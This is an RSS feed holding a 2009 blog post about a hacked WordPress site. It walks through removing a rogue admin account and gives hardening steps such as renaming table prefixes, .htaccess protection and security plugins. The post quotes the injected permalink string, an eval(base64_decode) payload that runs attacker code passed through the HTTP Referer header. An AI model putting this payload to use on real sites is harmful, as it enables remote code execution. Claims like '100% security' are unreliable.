<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Make Money Blogging Tips For Free &#187; Headline</title>
	<atom:link href="http://webmasterweblog.com/category/headline/feed" rel="self" type="application/rss+xml" />
	<link>http://webmasterweblog.com</link>
	<description>Experiences of a Webmaster</description>
	<lastBuildDate>Mon, 01 Mar 2010 13:16:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Emergency Plan B &#8211; Wordpress Mass Attack</title>
		<link>http://webmasterweblog.com/emergency-plan-b-wordpress-mass-attack.html</link>
		<comments>http://webmasterweblog.com/emergency-plan-b-wordpress-mass-attack.html#comments</comments>
		<pubDate>Sun, 06 Sep 2009 23:23:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headline]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://webmasterweblog.com/?p=213</guid>
		<description><![CDATA[Yesterday, I suddenly noticed that one of my wordpress blogs was hacked. How did I notice it? My permalinks were changed and at the end of every link there was a code line attached it.
Actually it looked a bit strange, but I was in a hurry and quickly changed my permalinks and did not think about taking a screenshot at that moment. 
So, what was my emergency plan?

Update: Here&#8217;s the string that was attached to my permalinks:

/month/year/post-title/%&#38;&#40;%7B$%7Beval&#40;base64_decode&#40;$_SERVER%5BHTTP_REFERER%5D&#41;&#41;%7D%7D&#124;.+&#41;&#38;%/.

 Skip this if you want to get started and harden your wordpress security ...]]></description>
			<content:encoded><![CDATA[<p>Yesterday, I suddenly noticed that one of my wordpress blogs was hacked. How did I notice it? My permalinks were changed and at the end of every link there was a code line attached it.</p>
<p>Actually it looked a bit strange, but I was in a hurry and quickly changed my permalinks and did not think about taking a screenshot at that moment. </p>
<p>So, what was my emergency plan?</p>
<p><span id="more-213"></span></p>
<p>Update: Here&#8217;s the string that was attached to my permalinks:</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #339933;">/</span>month<span style="color: #339933;">/</span>year<span style="color: #339933;">/</span>post<span style="color: #339933;">-</span>title<span style="color: #339933;">/%&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>7B$<span style="color: #339933;">%</span>7Beval<span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #339933;">%</span>5BHTTP_REFERER<span style="color: #339933;">%</span>5D<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>7D|.+<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;%/.</span></pre></div></div>

<p><strong> Skip this if you want to get started and harden your wordpress security now</strong></p>
<p>I didn&#8217;t have one, so my first thought was .. there must be a user with admin rights. I quickly checked the &#8220;users&#8221; page and noticed that there was not only 1 admin but 2 administrators. In a rush I clicked on &#8220;Administrators&#8221; to list all of them &#8211; but there was only my name listed! But what was that! For a second I was able to see the name of another user, something like &#8220;EarnestCummingham&#8221;.<br />
Later I found out that I was only able to see it for a few seconds, because the user did not enter a mail address. How could that be? Someone generated an admin account without an email address? </p>
<p>Quickly, I opened up the PhpMyAdmin site and checked the users table. Oh noes! About 2400 users now stood between me and the hacker. I quickly scrolled down the entire list.. until I found him! I quickly deleted the user Phewwwww! I did it! Back at the wordpress user page I re-checked the list of administrators. Oh my god .. he was still there, how could that be? Did I forget something? Yes I did! </p>
<p><strong>I forgot to delete the entries of wp_usermeta</strong></p>
<p>Inside the wp_usermeta table I looked for the user &#8220;Earnest&#8221; again and changed the value of &#8220;wp_user_level&#8221; from &#8220;10&#8243; to &#8220;0&#8243; as fast as I could. Done! </p>
<p>After all that I wanted to make sure that my blog was secure. At that moment I didn&#8217;t know that it was a mass attack. </p>
<h2>How to harden wordpress security</h2>
<h3>ALTER your table names from wp_ to somethingelsethanwp_</h3>
<p>I figured that changing the wp tableprefix of my tables would make wordpress more secure. I quickly wrote down all my tables and wrote a little query to update them all. The following is a list you can use to update the STANDARD wordpress tables. Keep in mind if you have installed any tables you either have to update them manually too or deactive and reactive the plugins.</p>
<p><strong>ALTER standard tables</strong></p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_comments <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_comments;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_links <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_links;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_options <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_options;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_postmeta <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_postmeta;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_posts <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_posts;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_term_relationships <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_term_relationships;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_term_taxonomy <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_term_taxonomy;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_terms <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_terms;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_usermeta <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_usermeta;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_users <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_users;</pre></div></div>

<p><strong>ALTER plugin tables &#8211; examples</strong></p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_ak_popularity <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_ak_popularity;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_ak_popularity_options <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_ak_popularity_options;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_ak_popularity_options <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_ak_popularity_options;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_login_redirects <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_login_redirects;
<span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">TABLE</span> wp_useronline <span style="color: #993333; font-weight: bold;">RENAME</span> <span style="color: #993333; font-weight: bold;">TO</span> random_useronline;</pre></div></div>

<p><strong>Don&#8217;t forget to alter meta_key and option_name. </strong><br />
Unfortunately the wordpress tables are connected to the prefix in a simple way. You will have to alter the meta_key of the table wp_usermeta and option_name of the table wp_options. Here is how the query would look like if your prefix would be &#8220;random&#8221;:</p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">UPDATE</span> <span style="color: #ff0000;">`random_usermeta`</span> <span style="color: #993333; font-weight: bold;">SET</span> <span style="color: #ff0000;">`meta_key`</span> <span style="color: #66cc66;">=</span> <span style="color: #993333; font-weight: bold;">REPLACE</span><span style="color: #66cc66;">&#40;</span> <span style="color: #ff0000;">`meta_key`</span> <span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'wp_'</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'random_'</span> <span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #993333; font-weight: bold;">UPDATE</span> <span style="color: #ff0000;">`random_options`</span> <span style="color: #993333; font-weight: bold;">SET</span> <span style="color: #ff0000;">`option_name`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'random_user_roles'</span> <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #ff0000;">`option_name`</span> <span style="color: #66cc66;">=</span><span style="color: #ff0000;">'wp_user_roles'</span> <span style="color: #993333; font-weight: bold;">AND</span> <span style="color: #ff0000;">`blog_id`</span> <span style="color: #66cc66;">=</span>0;</pre></div></div>

<h2>Secure your WP-Admin Folder with .HTACCESS files</h2>
<p>Well, this is a basic method of protection and many people do it already, but many people struggle protecting their wordpress files because they encounter the infamous 404 &#8220;Nothing found for..&#8221; error that will appear if you try to protect a wordpress file with .htaccess files. The error &#8220;Nothing found for..&#8221; will appear because Wordpress does not know how to handle the error: &#8220;unauthorized&#8221;.<br />
If you protect a directory or a file Apache will send out a 401 command &#8220;unauthorized&#8221;, therefore you have to specify what wordpress should do about the error &#8220;401&#8243;. Add this to the top of your .htaccess file:</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;">ErrorDocument <span style="color: #cc66cc;">401</span> <span style="color: #339933;">/</span>401<span style="color: #339933;">.</span>html</pre></div></div>

<p>Now you only have to create a simple html file and add a text like &#8220;password protected area here&#8221; and the file 401.html is existent. Therefore wordpress will know what to do and rewrite the query to your 401 file. Make sure to add the 401.html to your root folder and not a sub-folder!</p>
<h2>Important Security Plugins</h2>
<p><a href="http://www.askapache.com/wordpress/htaccess-password-protect.html" >AskApache Password Protect</a> is a popular wordpress plugin to improve your blog security. It&#8217;s a bit difficult to set it up, but when you done it your blog will be more secure!<br />
Basically it adds some really good password protection to your blog and will prevent that those bots access your blog. Apparently the attackers also used a bot to launch their mass attack on wordpress blogs, so this could turn out to be really useful against those hackers. AA Protect also provides you with HTTP Digest Authentication, which is even more secure than the Basic HTTP Authentication, but also difficult to install. </p>
<p><a href="http://semperfiwebdesign.com/plugins/wp-security-scan/" >Wp Security Scan</a> allows you to scan for possible threats and files that are not chmodded properly. It also provides a strong password generator and a tool to alter your table prefix (although I would still do it manually). </p>
<h2> Other Pre-cautions</h2>
<p>Always do backups. <a href="http://www.ilfilosofo.com/blog/wp-db-backup" >WP Database Backups</a> allows you to schedule backups and send them regularly to your e-Mail automatically. </p>
<p>Alaways update your wordpress installation and plugins. Keep them up to date to ensure 100% security. Only people who did not update to 2.4 (including me) had to suffer from this attack. </p>
]]></content:encoded>
			<wfw:commentRss>http://webmasterweblog.com/emergency-plan-b-wordpress-mass-attack.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
